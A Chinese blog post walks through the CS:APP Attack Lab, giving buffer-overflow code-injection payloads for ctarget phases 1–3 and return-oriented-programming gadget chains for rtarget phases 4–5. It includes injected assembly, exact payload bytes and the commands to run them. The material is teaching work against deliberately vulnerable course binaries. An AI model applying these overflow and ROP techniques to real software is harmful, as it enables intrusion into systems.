CSAPP Lab3:Attack

一、准备

  • 完成该实验需要学习3.10.3和3.10.4两小节
  • 由于是在本地做实验,因此在运行ctarget和rtarget时需要加-q参数
  • 添加的答案字符中不能包含0x0a,因为该字符表示换行符
  • 字符必须以两个为一对,比如0xabcdefgh要以gh、ef、cd、ab表示(小端)
  • 实验包括五个阶段,前三个为代码注入攻击(CTARGET),后两个返回值攻击(RTARGET)
  • 利用objdump指令ctargetrtarget反汇编

二、ctarget

该文件包含3个代码注入漏洞。

2.1 phase1

该阶段不需要注入新的代码,只需要重定向代码到要求的位置即可,即touch1函数的位置。
原本的程序逻辑为执行test函数,该函数调用getbuf函数,要求在getbuf函数执行ret指令时,跳转到touch1函数处执行,而不是返回到test

执行流程为:main --> stable_launch --> launch --> test --> getbuf --> touch1

test函数:

void test(){ 
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
 }

getbuf函数:

unsigned getbuf(){ 
     char buf[BUFFER_SIZE];
     Gets(buf);
     return 1;
}

touch1函数:

void touch1(){ 
    vlevel = 1; /* Part of validation protocol */ 
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

test函数会执行getbuf,需要在getbuf中确定BUFFER_SIZE的值,然后得到buf数组的起始地址和终止地址,然后使用溢出攻击,修改原本ret语句处的值改为touch1函数起始位置的值。

因此首先看test函数的汇编代码和getbuf的汇编代码:

0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp //创建一个8B的栈帧
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax //%rax置为0,buf = 0
  401971:	e8 32 fe ff ff       	callq  4017a8 <getbuf> //调用getbuf
  401976:	89 c2                	mov    %eax,%edx  // temp = buf
  401978:	be 88 31 40 00       	mov    $0x403188,%esi 
  //0x403188位置存储的是字符串:"No exploit.  Getbuf returned 0x%x\n"
  //将该字符串作为printf函数的第一个参数
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi //将1作为第一个参数
  401982:	b8 00 00 00 00       	mov    $0x0,%eax //返回值寄存器置0
  401987:	e8 64 f4 ff ff       	callq  400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	retq   
  401991:	90                   	nop
  401992:	90                   	nop
  401993:	90                   	nop
  401994:	90                   	nop
  401995:	90                   	nop
  401996:	90                   	nop
  401997:	90                   	nop
  401998:	90                   	nop
  401999:	90                   	nop
  40199a:	90                   	nop
  40199b:	90                   	nop
  40199c:	90                   	nop
  40199d:	90                   	nop
  40199e:	90                   	nop
  40199f:	90                   	nop
00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp //声明40B的栈帧 
  4017ac:	48 89 e7             	mov    %rsp,%rdi //暂存栈指针
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets> //调用Gets函数
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax //将返回值寄存器置为1
  4017b9:	48 83 c4 28          	add    $0x28,%rsp //撤销栈帧
  4017bd:	c3                   	retq   //返回 
  4017be:	90                   	nop
  4017bf:	90                   	nop
00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

通过查看getbuf的汇编代码,我们知道buf数组的大小为40个字节,因此我们只需要填充40个字节,就可以将getbuf函数的栈帧填满,再往上增加%rsp栈指针的值,就会到达存储返回值的位置,然后再将touch1函数的地址填充进去。

buf数组的40个字节可以随便填充任何内容,只要在填充完毕之后以小端的方式将touch1的地址4017c0再放入栈中即可。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 

确定好内容之后,将上述字符放入一个txt文件,然后执行下列命令:

./hex2raw < phase1.txt | ./ctarget -q

结果如图所示:

在这里插入图片描述

2.2 phase2

该测试需要注入一部分代码,getbuf函数不返回到test,而是去调用touch2,但是在这个例子中,必须将cookie作为参数传递给touch2,才算通过。每个人的cookie都不相同,下载的代码文件中的cookie.txt中存储cookie,我的是0x59b997fa

提示:

  • 使用ret指令,而不是call或者jmp,因为后两者跳转的地址很难编码
  • 将自己注入的代码的地址设置到getbuf函数的返回值处
  • 参数放在%rdi寄存器

首先查看touch2函数的逻辑:

void touch2(unsigned val){
   vlevel = 2; /* Part of validation protocol */ 
   if (val == cookie) {
      printf("Touch2!: You called touch2(0x%.8x)\n", val);
      validate(2);
   } else {
      printf("Misfire: You called touch2(0x%.8x)\n", val);
      fail(2);
   }
   exit(0);
}

因此,我们需要编写一段汇编指令,通过getbuf函数读入并执行。因此我们需要用汇编代码编写一个函数,包含设置参数,调用touch2函数,返回等指令,并添加空字符,使得buf溢出。

我们可以将代码从栈顶位置开始存放,然后在getbuf函数返回时,提前获取到栈顶的地址(假设为 rsp1),然后当getbuf的栈帧释放后,%rsp恢复后将getbuf的返回地址覆盖,重新设置为rsp1,这样getbuf返回时会跳转到原来的栈顶位置,执行我们注入的汇编指令。

首先需设置cookie的内容0x59b997fa存到%rsi,然后调用touch2函数,对应的汇编指令为:

movq    $0x59b997fa, %rdi   //传递Cookie值
pushq   $0x4017ec           //设置返回地址为touch2函数,然后ret指令返回时调用touch2函数
ret                         

将上述汇编指令写入phase2.s文件,编译为十六进制表示:gcc -c phase2.s

//通过反汇编得到十六进制,ojbdump phase2.o -d
phase2.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq  

我们将上述十六进制字符写入buf中,剩余字符填充无用字符00,然后通过GDB获取到%rsp的值,在buf的40个字节之后的位置设置%rsp的值。

通过GDB获取执行getbuf函数创建buf数组之后,栈顶指针的地址:

gdb ./ctarget
(gdb)b getbuf
(gbd)stepi    //进入getbuf函数,执行一步,即执行char buf = xxxx
(gdb)info r rsp  //获取栈顶指针的地址
//输出结果为: rsp   0x5561dc78

因此我们输入的字符串为:

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00   //注意地址以小端方式设置,前面的汇编不需要关注大小端是因为编译时编译器已经按照小端方式编译了,直接复制即可

因此创建一个phase2.txt,存入上述字符串,然后执行以下命令,得到结果:

./hex2raw < phase2.txt | ./ctarget -q

在这里插入图片描述

2.3 phase3

最后一个代码注入攻击,需要以一个string字符串为参数 (该string为cookie),getbuf同样不返回到test函数,而是去执行touch3touch3会调用hexmatch函数,hexmatchtouch3源码如下:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval){ 
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
} 

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
      printf("Touch3!: You called touch3(\"%s\")\n", sval);
	  validate(3);
    } else {
	  printf("Misfire: You called touch3(\"%s\")\n", sval);
	  fail(3);
    }
	exit(0);
}

提示:

  • 参数为cookie,即0x59b997fa,需要通过ascii码得到每个字符的16进制表示
  • 在C语言中字符串是以\0结尾,所以在字符串序列的结尾是一个字节0
  • 当调用hexmatchstrncmp时,他们会把数据压入到栈中,有可能会覆盖getbuf栈帧的数据,所以传进去字符串的位置必须小心谨慎。
  • 结合上条,我们不能把参数字符串放在getbuf函数申请的栈空间中,原因如下图

在这里插入图片描述

我们首先得到0x59b997fa所表示的字符串的十六进制表示:

35 39 62 39 39 37 66 61 00 //不要忘记'\0'结尾

然后根据要求,编写汇编指令,由于字符串59b997fa不能放在getbuf的栈帧中,因此需存放到test的栈帧中,因为调用touch3时,test并未返回,所以test函数的栈帧是不会被使用的。

通过gdb获得test栈帧返回值往上8个字节处的地址,即未调用getbuf函数时,栈顶寄存器%rsp中的值。

gdb ./ctarget
(gdb)b getbuf
(gdb)info r rsp
//结果:rsp  0x5561dca0,得到刚进入getbuf函数时栈顶的地址,往上加8个字节,即0x5561dca8

编写的汇编指令:

//这段汇编先放入栈顶,即0x5561dc78,过程和phase2相同
movq    $0x5561dca8, %rdi  //将字符串首地址放入传参寄存器
pushq   $0x4018fa //调用touch3函数
ret

依照phase2的步骤,写入phase3.s,然后反汇编:

phase3.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq  

因此我们注入的代码为:

48 c7 c7 a8 dc 61 55 68 //2、将字符串数组的首地址放入%rdi,然后将hexmatch的地址压栈并用ret来调用
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //1、执行注入的代码,即48 c7 c7....,此时rsp指向该处,因此上面的40个字节都可能会被覆盖
35 39 62 39 39 37 66 61 //在返回地址之上栈位置存放字符串数组
00

执行代码注入,结果如下:

 ./hex2raw < phase3.txt | ./ctarget -q

在这里插入图片描述

三、rtarget

rtarget使用了随机栈和标记可执行内存位置来防止代码注入,因此不能像之前那样可以精确定位代码的地址。因此只能从源代码产生的汇编代码中寻找特殊的指令序列来帮助完成攻击,即寻找一系列特定的指令序列,这些指令最后以ret结尾(这种序列被称为gadget)。

例如:

void setval_210(unsigned *p)
{
  *p = 3347663060U;
}
//对应的汇编代码
0000000000400f15 <setval_210>:
  400f15: c7 07 d4 48 89 c7   movl $0xc78948d4,(%rdi)
  400f1b: c3                  retq

其中 48 49 c7 c3序列可以表达:

400f18: 48 49 c7  mov %rax,%rdi
400f1b: c3        retq 

因为栈的地址随机化了,所以我们不能像phase2、phase3那样可以直接得到栈顶指针,然后通过栈顶指针 + ret的方式来调用函数。

现在我们只能借助代码段来实现攻击,即由于代码段的地址是固定的,我们从代码段中找到我们需要的gadget序列,然后通过缓冲区溢出,将返回地址设置为gadget序列,然后通过gadget的逻辑实现我们想完成的攻击效果。(即原来我们自己写逻辑插入到被攻击程序中,此时需要将我们的代码以字符串形式放入栈中,现在由于栈随机,我们无法将攻击代码放入栈中之后跳转到攻击代码位置,因为地址未知。现在我们通过从被攻击代码中寻找特定的序列,来构成我们想实现的攻击逻辑)

rtarget实验中所使用的所有gadget序列都由farm.c提供,我们需要将该文件反汇编,注意汇编时加-Og参数,否则会进行优化。

gcc -c -Og farm.c
objdump -d farm.o > f.s

3.1 phase4

phase4要求和phase2相同,只是将代码注入改为借助gadget来实现目标。

提示:

  • 我们使用的gadget在start_fram到mid_farm之间
  • 完成攻击只需要两个gadget序列
  • 我们可以使用popq命令

因此我们可以考虑,首先使用缓存溢出,将ret指令执行时,去调用某个gadget,而这个gadget的逻辑为设置参数,调用touch2。

设置参数我们需要将参数设置到%rdi中,由于提示我们借助pop指令,我们在fram中可以找到 pop %rax的指令,因此我们还需要一个 mov %rax,%rdi的指令。这两条指令分别在addval_219addval_273中。

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq 
//其中 58 90 表示popq %rax
//因此 popq指令地址为: 0x4019ab
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq  
// 48 89 c7 表示 movl %rax,%rdi
//因此 movl的地址为:0x4019a2

找到这两条指令之后,我们只需要使用缓冲区溢出,将ret使用的返回值设置为 0x4019ab,然后将执行出栈,因此我们需要在返回地址+8的位置设置cookie参数,然后在返回地址+16的地方设置mov指令的地址,即0x4019a2,然后该指令执行完毕之后会再执行一次ret,因此需要将返回地址+24的位置设置为touch2的起始地址。栈帧图如图:
在这里插入图片描述

由于我们不需要自己编写逻辑,只需要导致缓存溢出并跳转到对应的地址,因此前40个字节我们直接填充无效字符即可,然后48-48字节设置为0x4019ab,48-56字节设置为cookie参数,56-64字节设置为0x4019a2,64-72字节设置为0x4017ec即可。

插入的代码为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00  //cookie
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

执行结果如下:

./hex2raw < phase4.txt | ./rtarget -q

在这里插入图片描述

3.2 phase5

实验要求基本与phase4相似,不过调用的是touch3,参数改为了字符串35 39 62 39 39 37 66 61 00

提示:

  • 考虑movl指令对高四位的影响
  • 需要8个gadget

由于开启了栈随机,而且我们需要找到一个高于返回地址的地址存放字符串参数。所以我们需要从fram中找到一连串的gadget,来使得从getbuf返回时,从%rsp开始向上找到一个test栈帧中的一个位置存储字符串数组,且将首地址放入%rdi

我们可以从farm中找到的gadget序列可以组成下列内容:
在这里插入图片描述
我们找到的gadget序列等价于在下面的栈的情况下执行右边的指令序列。
中间空白的72B用来存储gadget指令的地址,一共有9条,每个地址8B,用掉72B。因为%rsp存储的getbuf函数的返回地址且不变动,后面我们使用缓冲区溢出,覆盖了返回地址返回地址+72B的内容,将内容重置为gadget序列,然后返回地址+72以后的位置存放字符串数组。

因此我们插入的代码:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
06 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61 00

执行得到结果:

./hex2raw < phase5.txt | ./rtarget -q

在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值